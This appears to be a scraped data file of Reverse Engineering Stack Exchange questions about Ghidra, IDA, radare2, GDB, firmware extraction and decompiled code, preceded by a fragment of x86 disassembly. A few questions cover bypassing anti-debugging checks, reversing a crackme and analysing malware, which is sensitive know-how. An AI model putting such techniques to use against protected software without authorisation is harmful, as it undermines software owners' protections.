+    1075:       83 e4 f0                and    esp,0xfffffff0
+    1078:       50                      push   eax
+    1079:       54                      push   esp
+    107a:       52                      push   edx
+    107b:       e8 22 00 00 00          call   10a2 <_start+0x32>
+    1080:       81 c3 80 2f 00 00       add    ebx,0x2f80
+    1086:       8d 83 50 d4 ff ff       lea    eax,[ebx-0x2bb0]
+    108c:       50                      push   eax
+    108d:       8d 83 f0 d3 ff ff       lea    eax,[ebx-0x2c10]
+    1093:       50                      push   eax
+    1094:       51                      push   ecx
+    1095:       56                      push   esi
+    1096:       ff b3 f8 ff ff ff       push   DWORD PTR [ebx-0x8]
+    109c:       e8 9f ff ff ff          call   1040 <__libc_start_main@plt>
+    10a1:       f4                      hlt
+    10a2:       8b 1c 24                mov    ebx,DWORD PTR [esp]
+    10a5:       c3                      ret
+    10a6:       66 90                   xchg   ax,ax
+    10a8:       66 90                   xchg   ax,ax
+    10aa:       66 90                   xchg   ax,ax
+    10ac:       66 90                   xchg   ax,ax
+    10ae:       66 90                   xchg   ax,ax
+
+" +['javascript']," Title: How to programmatically add HTML DOM breakpoints in chromium?Body: I've seen from this post about Chromium DevTools that there exists the possibility to add DOM breakpoints. Given that I've a full range of elements to monitor I was trying to find a way to programmatically add such breakpoints. + +To achieve a similar result I've used to instrument the setAttribute() function of such DOM elements replacing it with a wrapper that uses the debugger; instruction to trigger the debugger. Anyway this approach fails when dealing with innerHTML or innerText assignments given that there is no way of achieving operator overloading in js. + +Can someone suggest me a practical solution? +" +"['firmware', 'flash']"," Title: How to read firmware from an STC microcontroller?Body: I have some printed circuit boards of a device that is no longer manufactured. I need to repair these boards but there is no replacement for them. I can make other boards, buy the components, but I can not get the firmware, the microcontroller is a STC 89C58RD. + +I found a datasheet: + +http://www.stcmcu.com/datasheet/stc/STC-AD-PDF/STC89C58RD+-english.pdf + +As I could see it can be programmed by serial RS232 interface. I looked for a programmer but I just find this document in chinese(I'm not sure) as following : + +https://www.stcmicro.com/pdf/STC-ISP-Programmer_V6.0_Manual.pdf + +I already read and study a bit about JTAG standard and the TAP controller state machine to do a similar job with a Motorola Microcontroller, but I would like to know if someone know this microcontroller STC 89C58RD or has a tip about how to perform this task. +" +"['windows', 'decompilation', 'ghidra']"," Title: How do I import function signatures to Ghidra?Body: I'm working with an .exe which imports the old DirectX DLL DDRAW.DLL. The problem is, Ghidra doesn't know about it and shows all imported DDRAW functions as having no parameters. I know, I can edit functions to add the paramaters and define the missing datatypes, but I expect there's an automatic way to do it. Is there an option to simply load ddraw.h from the DirectX SDK and import all the function signatures and types? +" +"['ida', 'linux', 'remote']"," Title: IDA remote debugging - non printable characters in parametersBody: I am trying to remote debug a certain binary which gets user-specified command line arguments, which can be non-printable of course.
+My goal is the ability to debug with IDA the process with the command line argument ""\x11\x22\x33\x44"" which can be done with gdb easily.
+The problem is that the ""Parameters"" field in IDA allows only ASCII characters to be inserted into the process' command line arguments + + + +I looked thoroughly and found these questions but running: + +
$ ./linux_server unlink < file
+
+ +or any other combination does not seem to feed the binary file with my input.
+Also, running StartDebugger in the IDA command line did not help (How does this function know which remote debugger to run?) +" +"['disassembly', 'windows']"," Title: Help reverse engineering a small (60kb) .exe file used for extracting .tga images from a custom containerBody: The executable grabs the specified container format and extracts .tga images from it. It was community-made to satisfy a certain niche, unfortunately I cannot get into contact with the original creator/programmer and I have no way to re-compile the .tga images to the original container. Basically I want to reverse the procedure. + +I'm not overly familiar with SE, if this post is considered low-effort or anything, please let me know and I will edit accordingly. + +Edit: + +Google Drive: https://drive.google.com/drive/folders/1_mdCW5w3GS7fXgSuISOlUDumLXeKJ9TE?usp=sharing + +In the provided link the included files are +1) the extractor +2) one of the .mda containers +3) a .bat file that is used to make the extractor run. Will be edited later on to batch extract all the containers. +" +"['firmware', 'ghidra']"," Title: Handling firmware with many copies of the same code/data in different address spacesBody: When loading the firmware I am working with, it copies multiple regions of code/data to another write-able memory region. + +I normal load the code/data into the destination location and leave the source empty. But have just noticed the firmware calls some of the functions in the original/source region. + +So I could leave all of the source data/code and load the duplicate data/code regions, but what I am wanting to avoid is duplicated reverse engineer the functions. + +So what I ideally want is someway to alias/memory map the regions so there is only ""one"" version of the memory, thus one labeled data and RE functions. +" +"['c', 'decryption', 'java', 'ghidra']"," Title: Ghidra pseudocode to Java/CBody: I have this piece of code generated from Ghidra + +
void __cdecl FUNCTION(uint *key,uint *text)
+
+{
+  undefined uVar1;
+  ushort uVar2;
+  uint *puVar3;
+  uint *puVar4;
+  uint *puVar5;
+  int iVar6;
+  uint uVar7;
+  uint *puVar8;
+  uint uVar9;
+  uint local_18c [11];
+  uint *local_14;
+  uint *local_10;
+  uint local_c;
+
+  puVar3 = key;
+  uVar2 = 0;
+  local_10 = (uint *)key[4];
+  local_14 = (uint *)key[3];
+  puVar5 = local_18c;
+  uVar9 = key[1];
+  puVar8 = (uint *)key[2];
+  uVar7 = *key;
+  do {
+    local_c = uVar7;
+    key = puVar8;
+    puVar4 = local_14;
+    if (uVar2 < 0x10) {
+      puVar5[0xe] = *text;
+      uVar1 = *(undefined *)((int)puVar5 + 0x3b);
+      *(undefined *)((int)puVar5 + 0x3b) = *(undefined *)(puVar5 + 0xe);
+      *(undefined *)(puVar5 + 0xe) = uVar1;
+      uVar1 = *(undefined *)((int)puVar5 + 0x3a);
+      *(undefined *)((int)puVar5 + 0x3a) = *(undefined *)((int)puVar5 + 0x39);
+      *(undefined *)((int)puVar5 + 0x39) = uVar1;
+    }
+    else {
+      uVar7 = puVar5[0xb] ^ puVar5[6] ^ puVar5[-2] ^ *puVar5;
+      puVar5[0xe] = uVar7 >> 0x1f | uVar7 * 2;
+    }
+    if (uVar2 < 0x14) {
+      iVar6 = (~uVar9 & (uint)local_14 | (uint)key & uVar9) + 0x5a827999;
+    }
+    else {
+      if (uVar2 < 0x28) {
+        iVar6 = ((uint)local_14 ^ (uint)key ^ uVar9) + 0x6ed9eba1;
+      }
+      else {
+        if (uVar2 < 0x3c) {
+          iVar6 = (((uint)key | uVar9) & (uint)local_14 | (uint)key & uVar9) + 0x8f1bbcdc;
+        }
+        else {
+          iVar6 = ((uint)local_14 ^ (uint)key ^ uVar9) + 0xca62c1d6;
+        }
+      }
+    }
+    text = text + 1;
+    puVar8 = puVar5 + 0xe;
+    puVar5 = puVar5 + 1;
+    uVar7 = (int)local_10 + iVar6 + (local_c >> 0x1b | local_c << 5) + *puVar8;
+    puVar8 = (uint *)(uVar9 << 0x1e | uVar9 >> 2);
+    uVar2 = uVar2 + 1;
+    local_10 = local_14;
+    local_14 = key;
+    uVar9 = local_c;
+  } while (uVar2 < 0x50);
+  *puVar3 = *puVar3 + uVar7;
+  puVar3[1] = puVar3[1] + local_c;
+  puVar3[2] = puVar3[2] + (int)puVar8;
+  puVar3[3] = puVar3[3] + (int)key;
+  puVar3[4] = puVar3[4] + (int)puVar4;
+  return;
+}
+
+ +I'm trying to translate it in Java or C code, but i don't understand how. there are some obscure points. + +All variable are typed correctly, but the first uVar1 is ""undefined"", why? + +The operator ~ how is it implemented? +" +['firmware']," Title: Help investigating a printer firmware imageBody: We're having issues with the WiFi connectivity on the printers that we're using on a current project. The printer connects fine, but the ports that should be opened are not opened. They work fine on the wired network. +Their support has tried to help, but so far hasn't been able to provide a solution. +I suspect that the printers run an embedded linux, and I wouldn't mind having a look at the configuration files to see if there's anything in there that's obviously broken. +I've downloaded the firmware from https://printers.averydennison.com/en/home/resources/service-and-support/utilities-and-firmware/9419-printer.html , but binwalk doesn't seem to find anything useful. I don't see any magic bytes or anything that would hint as to the structure of the file, and while there are recognisable strings (including the beginnings of some of the web pages from the config interface), they seem to get truncated in odd places, and with FF inserted at seemingly random intervals between characters. + +My thought was that it may be a disk image that could be mounted, but I would have thought that binwalk would have identified that. + +While I'd appreciate the answer to how to examine this firmware, I'd also like to fill in some of the gaps that I'm missing in my process, so any hints on what I should be looking for would be greatly appreciated. +" +"['debugging', 'radare2', 'breakpoint', 'tracing']"," Title: function call trace with radare2 or break on all function callBody: I want to script with python using r2pipe. Is there a way that when debugging I can break on each call function, thus I can get the parameter? What's more, I won't jump into system library. +Or is there a way to do function trace, just in program's address space, not in system library? +" +['ghidra']," Title: Ghidra rename variable below current lineBody: I have been starting to use Ghidra and I find the decompiler view very useful. However, when I rename a variable, the name propagates through all uses of that register or stack pointer throughout the function. In most cases this is good, however often when the variable is stored in a register, the same register will be used to store a different variable later in the function. + +My question is: Is there a way to only rename a variable in a function below the current line? This way, later uses of said register will have the correct variable name. +" +"['debugging', 'ollydbg', 'anti-debugging']"," Title: Program closing even with IsDebuggerPresent Patched!Body: i'm in some serious problems when trying to debug a program with ollydbg, i patched IsDebuggerPresent but still after starting debugging with it patched it will Terminate anyways. + +Steps i Followed are shown in this guide: + +https://stackoverflow.com/questions/10330147/how-do-i-bypass-isdebuggerpresent-with-ollydbg +" +['ghidra']," Title: Handling pointer to middle of struct in GhidraBody: Sometimes I encounter pointers to the middle of a structure, and the code uses a negative offset to refer to earlier code. This can result in assembly that looks like this, using MIPS as an example architecture: + +
lw -0x4($s0)
+
+ +In IDA Pro, I can highlight the ""-0x4"" part of that instruction and press T to open a new dialog that allows me to set a ""delta"" (the feature is described fully in detail here: http://www.hexblog.com/?p=63). If I knew that $s0 pointed to the 4th byte of a structure, I could set the delta to -4 and get something like this: + +
lw struct.field0+4($s0)
+
+ +Is there an analogous way to operate on the middle of a structure in Ghidra? +" +['asm']," Title: getting ecx register from callerBody: i need to get the ecx register from the function that is calling my function (__fastcall convention) + +i've been trying to get ecx by adding 0x8 to ebp since from my understanding ebp + 0x4 = return address and upwards from that it's stack arguments. + +here's what i've been doing + +
uintptr_t _framePointer, _framePointerOld;
+__asm
+{
+    mov _framePointer, ebp
+}
+
+_framePointerOld= *reinterpret_cast< uintptr_t* >( _framePointer);
+
+void* ecx_of_caller = *reinterpret_cast< void** >( _framePointerOld+ 0x12 );
+
+" +"['windows', 'winapi', 'symbols']"," Title: Missing Symbols RtlGetFrame, RtlPushFrame, RtlPopFrameBody: I'd like to use some undocumented symbols that listed in ProcessHacker project. taken from Here: + +https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpebteb.h#L241 +https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h#L7156 + +However, I don't know to which dll do they belong... + +In project readme page, it's said that I only need the latest windows SDK, but after compilation I get : + +
Severity    Code    Description Project File    Line    Suppression State
+
+Error   LNK2019 unresolved external symbol ""__declspec(dllimport) struct 
+_TEB_ACTIVE_FRAME * __cdecl RtlGetFrame(void)"" (__imp_?
+RtlGetFrame@@YAPEAU_TEB_ACTIVE_FRAME@@XZ) referenced in function ""public: static
+ struct _TEB_ACTIVE_FRAME * __cdecl _RTL_FRAME::get(struct 
+_TEB_ACTIVE_FRAME_CONTEXT const *)"" (?
+get@_RTL_FRAME@@SAPEAU_TEB_ACTIVE_FRAME@@PEBU_TEB_ACTIVE_FRAME_CONTEXT@@@Z) 
+TestReentrancy  C:\projects\2.3\unit_tests\InjectionTest\Project1\main.obj  1   
+
+
+ +Perhaps anybody can tell me how to adjust my project configuration to make it work ? thanks ! +" +"['ghidra', 'decompiler']"," Title: How do I make a hex literal a decimal literal in Ghidra?Body: There are a few places where the decompiler displays a number as a hex literal when it's much clearer as a decimal literal. How do I change this? +" +"['ida', 'binary-analysis']"," Title: Ida - what is Parse C header fileBody: In ida File->Load file there is option Parse C header file, I want to understand that . + +If I have the headers file that compiled with my binary I can attach and then see all the structures/function name in ida Psudocode /disassembly ?? + +How is that works how Ida can links the struct/class from header to binary? +" +"['arm', 'ghidra']"," Title: Simplify two 32 bit expressions into one 64 bit expression in decompilationBody: I am getting started with Ghidra, and am decompiling a simple program of mine. The platform is Linux (ELF) on ARM. I found in the decompiled code things like: + +
gTime._0_4_ = (undefined4)(time1 >> 0x20);
+gTime._4_4_ = (undefined4)time1;
+
+ +Here, gTime is a global and time1 a local. Both should be 64 bit integers (uint64_t). I've alreads set the types accordingly. This code is setting the high bits of gTime to the high bits of time1 and the same for the low bits. Is there any way I could transform this to: + +
gTime = time1
+
+ +Or is there e.g. an endianness issue here? At some places, it also has the similarly redundant: + +
uVar1 = CONCAT44(gTime, gTime._4_4)
+
+ +I was expecting to be able to select the code and ""refactor"" it to an equivalent form. The only thing that I could find was the ""retype"" function, with works great, but not here. Any ideas how to clean up this code a bit? +" +"['debugging', 'radare2', 'gdb', 'stack', 'entry-point']"," Title: radare2 shows main function arguments argv as pointer to char on the stack, not as pointer to pointer to charBody: Well, I've been digging around process command line arguments as well as environment variables a bit these last days, especially looking up the way main function arguments were pushed onto the stack. +So far I've got it that a certain _libc_start_main() function is responsible of setting up everything the main() function needs in terms of parameters before actually calling it.
+Without getting into much details, I've noticed that when debugging a simple main program, the main stack frame is different whether we look it up in radare2 or gdb.
+For instance, let's take this minimalist C program : +
int main (int argc, char *argv[], char *envp[])
+{
+}
+
+And simply debug it without any additional parameters : +

With GDB

+After setting a breakpoint on the first assembly instruction of main (I couldn't dump the stack frame without running the program), +what I got in gdb is something very sensible, as one can see : +
(gdb) x/3xw $esp
+0xffffcfbc:     0xf7db7b41          0x00000001      0xffffd054      
+#                  ^                    ^               ^     
+#              PC (somewhere          argc            argv             
+#          in __libc_start_main())
+
+Now by actually inspecting the pointed out memory regions for argv : +
(gdb) x/2xw 0xffffd054   # argv
+0xffffd054:     0xffffd1ef      0x00000000
+#                  ^                ^ 
+#                argv[0]          argv[argc]
+#           (another pointer)              
+
+(gdb) x/s 0xffffd1ef  # argv[0]
+0xffffd1ef:     "<path>/argvonstack32"
+#                      ^ 
+#                  Exepected program name
+
+So what was basically pushed onto the main stack frame, for both argv and envp (even if I didn't show the dump for envp for simplicity's sake) is exactly what we were entitled to expect from a debugger, that is a pointer to pointer to char (as stated in the main function signature). +

With Radare2

+Without setting any breakpoint, and directly inspecting the stack frame without running the program, radare2 shows a different stack frame : +
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF  comment
+0xffa63d10  0100 0000 1953 a6ff 0000 0000 2953 a6ff  .....S......)S..  ; esp
+                ^         ^         ^       
+              argc     argv[0]    argv[1]
+
+When inspecting argv[0] : +
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF  comment
+0xffa65319  2e2f 6172 6776 6f6e 7374 6163 6b33 3200  ./argvonstack32.
+0xffa65329  5348 454c 4c3d 2f62 696e 2f62 6173 6800  SHELL=/bin/bash.
+
+That shows that radare2 skipped the first pointer indirection of argv and pushed the list argv[0]...argv[argc] directly onto the main stack frame. +What explains such a difference ? +PS: As you can see, the only difference there is between my usage of radare2 and gdb was that I runned the program in gdb while didn't need to actually run it on radare2 to dump the main stack frame memory. +" +"['radare2', 'strings', 'register']"," Title: How to view registers values in stringBody: Is it possible that radare2 will show registers values also in strings ? + +For example, when I run ar I am getting the liste of registers and I have: + +
rax = 0x000000042  
+
+ +Is there a way to also show next to it the string value ?
+Something like that: + +
rax = 0x000000042   ; 'B'
+
+" +"['decompilation', 'apk']"," Title: (Help)Apk Decomplied unreadable filesBody: I'm developing an android-based game for my school project. +I chose an .apk to reference the visual parts. +I've decompiled the .apk file I've specified. I can't view the image files I need. +files available but unreadable.I couldn't get a data hand using the existing .atlas editor.I will very happy if you help,I can send the apk file and images. + +I have .json .atlas .png but just .atlas and png unreadable ( i tried with .atlas editor it doesnt work) + +Sample : +" +"['malware', 'security', 'yara']"," Title: Detecting cracked Themida packed malwareBody: I'm working in a large SOC and my manager has tasked me with finding some way to provide coverage for Themida packed malware samples. + +As alluring as it is to suggest just blacklisting all Themida packed software and calling it a day, I would like to do my due diligence before I take that approach. + +I noticed that Themida claims to digitally watermark their executables to protect against piracy, and copies of the software are available for torrent on many pirate sites. I was wondering whether the software left the watermark on the packed executables, and whether the pirated software leaves a watermark on the packed binaries that could be signed against. + +I know that this is a thing based off of the answer to this post: How common are virtualized packers in the wild?, but the person who answered provided sources for all of his other claims besides this one. +" +"['file-format', 'python', 'decompress', 'binwalk']"," Title: Can't install sasquatch toolBody: Ubuntu 16.04 LTS. I'm trying to install sasquatch tool (which should apply patches to the standard unsquashfs utility), but got the issue, every time build process show error in one place: + +
./build.sh: 35: ./build.sh: cannot open ../patches/patch0.txt: No such file
+
+ +Here is build log. Please advice about this issue. +" +"['malware', 'visual-basic', 'pe-resources']"," Title: How can I extract resource images from Visual Basic 6 MalwareBody: I am reverse engineering some malware that is written in VB6. I found this tool which tried to decompile the .exe, but I noticed that the image that is being loaded by the .exe is suspicious and I want to extract it for further analysis. + +Someone mentioned resource extractor would work, but that only pulls the ICON from the file, not the image below. + +Is there a technique or tool that will extract this image? + + +Here is some somewhat related topics that have brought me thus far. + +How to disassemble VBX files? +" +['.net']," Title: Is it possible to detect visual studio version in compiled .net assembly?Body: I have a .net exe file I want to find out which version of visual studio is used to compile the assembly.. Is there are any solution to find out the IDE version.? +" +"['windows', 'deobfuscation', 'patching']"," Title: Output address path during .exe executionBody: I have an obfuscated software. I'm a beginner in this area, so I don't find where a patch would be useful for what I want to do. + +It turns out that I have an idea of how I could find out in which addresses I need to search: the software behaves differently if I add some lines in its config files. + +So, I'd like to output a text file which contains all the addresses the RIP was set to. + +Then I'll be able to diff the files and have an idea of when the execution flow diverged... + +However, in order to do that I need to use Windows and not Linux because this software doesn't work well with Wine. + +How could I do, to create such a script, on Windows? +" +"['ida', 'binary-analysis', 'python', 'address', 'offset']"," Title: How to find out address in binary file (like IDA) with python code only?Body: I have binary for example https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap that I open with IDA , and search some data that I want to find without open IDA ,only with python code + +1) How to find what is the address of this series of bytes :48 8B 45 A8 48 8D 1C 02 48 8B 45 C8 ? , the result need to be 0x6B0C67 + +2)How to find out the 12 bytes that in address 0x6B0C67 ? the result need to be 48 8B 45 A8 48 8D 1C 02 48 8B 45 C8 . + +3) How to find which address call to specific string? for example i + 1 == features[i].index that locate in 0x6FC272 ? the result need to be 0x4022F6 + +How can I find all of this without open Ida? only with python/c code? + +thanks +" +"['ida', 'malware', 'idapython']"," Title: idapython - Scan all possible code paths between start and end addressesBody: I have a start and end address inside a function segment. How can I step through all the possible code paths easily, including jumps, function calls, etc that occur between the start and the end point? + +I am trying to find a particular condition that I know occurs somewhere deep in the function segment. (I know how to do this part) +" +"['dll', 'ghidra', 'mfc', 'pe32']"," Title: Understand DLL function signature from ordinalBody: I'm trying with ghidra to reverse a 32-bit proprietary application that uses mfc42.dll and I'm obtaining mixed results with respect to imported functions. + +To my surprise the DLLs don't use names to export functions like the ELF format, but use the so called ordinals and you need another file (the corresponding .lib) to link them with the actual name. + +In the binary there is a particular function that seems to call ordinal 4129 and ordinal 5710 corresponding to CString::Left(int) and CString::Right(int) respectively (ghidra internally uses an XML to track the correspondence function <-> ordinal). + +But if I check the actual assembly of this function seems that these functions take a further argument (this can be deduced from the stack depth value that you can enable along the disassembly with ghidra). Obviously I'm taking into account the fact that the class instance is passed via the ecx register but that it's not relevant for the discussion, I'm interested in the arguments passed using the stack. + +Trying to reverse the dll itself, indeed ghidra finds out the signature as having two arguments but bad enough it cannot tell what is the actual name of these functions. + +Since mfc42.dll (I think) is a pretty standard library can anyone explain to me what is going on? + +To add information, the application seems compiled using Visual Studio VC6, this can be deduced from the signature of the FuncInfo structure that is 0x19930520. +" +"['encryption', 'python', 'encodings']"," Title: String Encoding and Decoding MethodBody: so I came across the following string encoding method in python. + +
def encode(the_string):
+    encoded_string = ''
+    rotations = ord(the_string[-1]) + 5
+
+    for i in range(0, len(the_string)):
+        value = ord(the_string[i])
+
+        for j in range(0, rotations):
+            value -= 1
+            if value < 65:
+                value = 25 + value
+
+        encoded_string += chr(value)
+        rotations += ord(the_string[i])-2
+    return encoded_string
+
+ +It looks like a Caesar Cipher where ASCII value of the letter determines the number of shifts of the alphabet, however 'Z' stays at the end. The initial number of rotations is the ASCII value of the last letter of the string plus 5. + +
def encode(the_string):
+   ALPHABET='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+
+   encoded_string = ''
+   rotations = (ord(the_string[-1]) + 5) % 25
+
+   for i in range(0, len(the_string)):
+       alphabet_rotate = ALPHABET
+       print('Rots:',rotations)
+       for j in range(0, rotations):
+           alphabet_rotate = alphabet_rotate[1:-1] + alphabet_rotate[0] + alphabet_rotate[-1]
+
+       encoded_string += ALPHABET[alphabet_rotate.index(the_string[i])]
+       rotations += (ord(the_string[i]) - 2) 
+       rotations %= 25
+
+   return encoded_string
+
+ +I am trying to write a decoding method however I am struggling to find the the correct offsets for the rotations. I am reversing the direction of the shifts. Also the lookup of the decoded letter works in reverse. Is this the correct approach? Any help will be appreciated. + +
def decode(the_string):
+    ALPHABET='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+
+    decoded_string = ''
+    rotations = (ord(the_string[-1]) + 3) % 25 # <== 1. PROBLEM HERE
+
+    for i in range(0, len(the_string)):
+        alphabet_rotate = ALPHABET
+
+        for j in range(0, rotations):
+            alphabet_rotate = alphabet_rotate[-2] + alphabet_rotate[0:-2] + alphabet_rotate[-1]
+
+        decoded_string += alphabet_rotate[ALPHABET.index(the_string[i])]
+
+        rotations += (ord(the_string[i]) +20 ) # <== 2. PROBLEM HERE
+        rotations %= 25
+
+    return decoded_string   
+
+" +['ida']," Title: Is this really a function IDA could not decode?Body: I have the following IDA output: + +
BEGTEXT:00415A2C read_dpc_sub_415928 endp
+BEGTEXT:00415A2C
+BEGTEXT:00415A2C ; ---------------------------------------------------------------------------
+BEGTEXT:00415A2D                 align 10h
+BEGTEXT:00415A30                 push    ebx
+BEGTEXT:00415A31                 push    edx
+BEGTEXT:00415A32                 mov     edx, eax
+BEGTEXT:00415A34                 call    sub_41576C
+BEGTEXT:00415A39                 mov     ebx, eax
+BEGTEXT:00415A3B                 call    sub_415758
+BEGTEXT:00415A40                 mov     eax, ebx
+BEGTEXT:00415A42                 call    sub_4158C8
+BEGTEXT:00415A47                 mov     eax, ebx
+BEGTEXT:00415A49                 pop     edx
+BEGTEXT:00415A4A                 pop     ebx
+BEGTEXT:00415A4B                 retn
+BEGTEXT:00415A4B ; ---------------------------------------------------------------------------
+
+ +As you can see, IDA has considered that this is a code block but it hasn't been made a function. + +Can you explain how one should try handle this situation ? + +i.e. is this really code in the end and what to consider when making a function. + +(if that matters, the executable is a 32-bit Windows one) +" +['windbg']," Title: WinDbg does not shows all first chance exceptionsBody: I have an application, which sometimes fails. I run procdump and see some first chance exceptions like this: + +
[14:29:38] Exception: E06D7363.?AVCServicesMDException@@
+[14:29:38] Exception: E06D7363.?AVCServicesMDException@@
+[14:29:38] Exception: E06D7363.?AVCBaseException@@
+[14:29:38] Exception: E06D7363.?AVCBaseException@@
+
+ +I want to attach to process and analyze some of these exceptions. But have difficulties with setting WinDbg to handle it. + +I run .foreach(exc {sx}) {.catch{sxe ${exc}}} & sxe * to catch all first chance exceptions and events. + +But got nothing similar to exceptions from dump (written by procdump). +" +"['gdb', 'elf']"," Title: Reversing ELF 64-bit LSB pie executableBody: I have a file crackme, which is an executable. + +
hamuto@hamuto-pc:~/Security/NOOB/FruitSalad$ file crackme 
+crackme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5418569f8ce35c5b188b0a4f13e79f4a611ee54e, stripped
+
+ +I tried to follow the instructions of the solution of the bellow question.
+Reversing ELF 64-bit LSB executable, x86-64 ,gdb + +Sadly, I have a problem and I can't find a solution.
+What I did: + +
hamuto@hamuto-pc:~/Security/NOOB/FruitSalad$ gdb crackme -q
+Reading symbols from crackme...
+(No debugging symbols found in crackme)
+gdb$ info files
+Symbols from ""/home/hamuto/Security/NOOB/FruitSalad/crackme"".
+Local exec file:
+    `/home/hamuto/Security/NOOB/FruitSalad/crackme', file type elf64-x86-64.
+    Entry point: 0x22b0
+    0x00000000000002a8 - 0x00000000000002c4 is .interp
+    0x00000000000002c4 - 0x00000000000002e4 is .note.ABI-tag
+    0x00000000000002e4 - 0x0000000000000308 is .note.gnu.build-id
+    0x0000000000000308 - 0x0000000000000340 is .gnu.hash
+    0x0000000000000340 - 0x0000000000000850 is .dynsym
+    0x0000000000000850 - 0x00000000000010d4 is .dynstr
+    0x00000000000010d4 - 0x0000000000001140 is .gnu.version
+    0x0000000000001140 - 0x00000000000011f0 is .gnu.version_r
+    0x00000000000011f0 - 0x0000000000001508 is .rela.dyn
+    0x0000000000001508 - 0x00000000000018b0 is .rela.plt
+    0x0000000000002000 - 0x0000000000002017 is .init
+    0x0000000000002020 - 0x00000000000022a0 is .plt
+    0x00000000000022a0 - 0x00000000000022a8 is .plt.got
+    0x00000000000022b0 - 0x0000000000009b81 is .text
+    0x0000000000009b84 - 0x0000000000009b8d is .fini
+    0x000000000000a000 - 0x000000000000a2da is .rodata
+    0x000000000000a2dc - 0x000000000000ae90 is .eh_frame_hdr
+    0x000000000000ae90 - 0x000000000000df70 is .eh_frame
+    0x000000000000df70 - 0x000000000000e25c is .gcc_except_table
+    0x000000000000fd10 - 0x000000000000fd28 is .init_array
+    0x000000000000fd28 - 0x000000000000fd30 is .fini_array
+    0x000000000000fd30 - 0x000000000000fdb8 is .data.rel.ro
+    0x000000000000fdb8 - 0x000000000000ffc8 is .dynamic
+    0x000000000000ffc8 - 0x0000000000010000 is .got
+    0x0000000000010000 - 0x0000000000010150 is .got.plt
+    0x0000000000010150 - 0x000000000001016c is .data
+    0x0000000000010180 - 0x00000000000103f0 is .bss
+gdb$ 
+
+
+ +As you can see the entry point is at 0x22b0. If I try to create a breakpoint and run : + +
gdb$ break *0x22b0
+Breakpoint 1 at 0x22b0
+gdb$ r
+Starting program: /home/hamuto/Security/NOOB/FruitSalad/crackme 
+
+[1]+  Arrêté                gdb crackme -q
+hamuto@hamuto-pc:~/Security/NOOB/FruitSalad$ 
+
+ +The program actually get to the background, I can get it back with the command fg: + +
hamuto@hamuto-pc:~/Security/NOOB/FruitSalad$ fg
+gdb crackme -q
+Warning:
+Cannot insert breakpoint 1.
+Cannot access memory at address 0x22b0
+
+ +It is still strange, that gdb went to the background, but that's not all if I try to disassemble the entry point, with a size of 50: + +
gdb$ disas 0x22b0,+50
+Dump of assembler code from 0x22b0 to 0x2300:
+   0x00000000000022b0:  Cannot access memory at address 0x22b0
+
+ +It doesn't work, I must be missing something. Thank you for your help. +" +"['disassembly', 'ghidra']"," Title: Can Ghidra show me the p-code generated for an instruction?Body: I'm trying to verify the correctness of a custom processor module in Ghidra. The instruction that I am currently analyzing does some fancy stuff with its p-code. Specifically, it uses a bunch of tables that end up forming a p-code tree that is several levels deep when it disassembles that instruction. Since p-code trees are walked in a depth-first order, that means the p-code of the child nodes will be emitted first before their parents. This could result in the p-code of the instruction not working in the order that you might expect. + +I would like to be able to have Ghidra (or SLEIGH, or whatever affiliated tool) spit out the full generated p-code after it has walked the tree so I can verify that things are happening in the order that I think they are. +" +"['binary-analysis', 'firmware', 'binary', 'firmware-analysis']"," Title: How to extract DVB firmware bin file?Body: I have a bin file of DVB (DTH) box firmware. I want to change one image inside that bin file, how I can do this? Please guide me in right direction. +I tried bin walk, but the file that it extracted looks like unuseful. +Below is the command I tried: +
$ binwalk -B /Users/Me/Documents/Reverse/dump_all.bin 
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+52150         0xCBB6          LZMA compressed data, properties: 0xC8, dictionary size: 16777216 bytes, uncompressed size: 65536 bytes
+55216         0xD7B0          eCos RTOS string reference: "ecos.bin.lzma"
+55232         0xD7C0          eCos RTOS string reference: "ecos.bin.gz"
+66048         0x10200         JPEG image data, JFIF standard 1.02
+66078         0x1021E         TIFF image data, big-endian, offset of first image directory: 8
+68069         0x109E5         Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:iX='http://ns.adobe.com/iX/1.0/'>
+68238         0x10A8E         Unix path: /ns.adobe.com/xap/1.0/mm/'>
+131072        0x20000         romfs filesystem, version 1 size: 2439392 bytes, named "rom 5c67f699"
+2621440       0x280000        CramFS filesystem, little endian, size: 12288 version 2 sorted_dirs CRC 0xA76D500A, edition 0, 5 blocks, 20 files
+2883584       0x2C0000        CramFS filesystem, little endian, size: 819200 version 2 sorted_dirs CRC 0xB7F50F6A, edition 0, 976 blocks, 362 files
+3739148       0x390E0C        Zlib compressed data, compressed
+3741196       0x39160C        Zlib compressed data, compressed
+3743756       0x39200C        Zlib compressed data, compressed
+3744780       0x39240C        Zlib compressed data, compressed
+3746316       0x392A0C        Zlib compressed data, compressed
+3750924       0x393C0C        Zlib compressed data, compressed
+3752460       0x39420C        Zlib compressed data, compressed
+3753996       0x39480C        Zlib compressed data, compressed
+3755532       0x394E0C        Zlib compressed data, compressed
+3757068       0x39540C        Zlib compressed data, compressed
+3758604       0x395A0C        Zlib compressed data, compressed
+3867148       0x3B020C        Zlib compressed data, compressed
+3901964       0x3B8A0C        Zlib compressed data, compressed
+3903500       0x3B900C        Zlib compressed data, compressed
+3905036       0x3B960C        Zlib compressed data, compressed
+3906572       0x3B9C0C        Zlib compressed data, compressed
+3908108       0x3BA20C        Zlib compressed data, compressed
+3909644       0x3BA80C        Zlib compressed data, compressed
+3911180       0x3BAE0C        Zlib compressed data, compressed
+3912716       0x3BB40C        Zlib compressed data, compressed
+3914252       0x3BBA0C        Zlib compressed data, compressed
+4020748       0x3D5A0C        Zlib compressed data, compressed
+4022284       0x3D600C        Zlib compressed data, compressed
+4023820       0x3D660C        Zlib compressed data, compressed
+4041740       0x3DAC0C        Zlib compressed data, compressed
+4045836       0x3DBC0C        Zlib compressed data, compressed
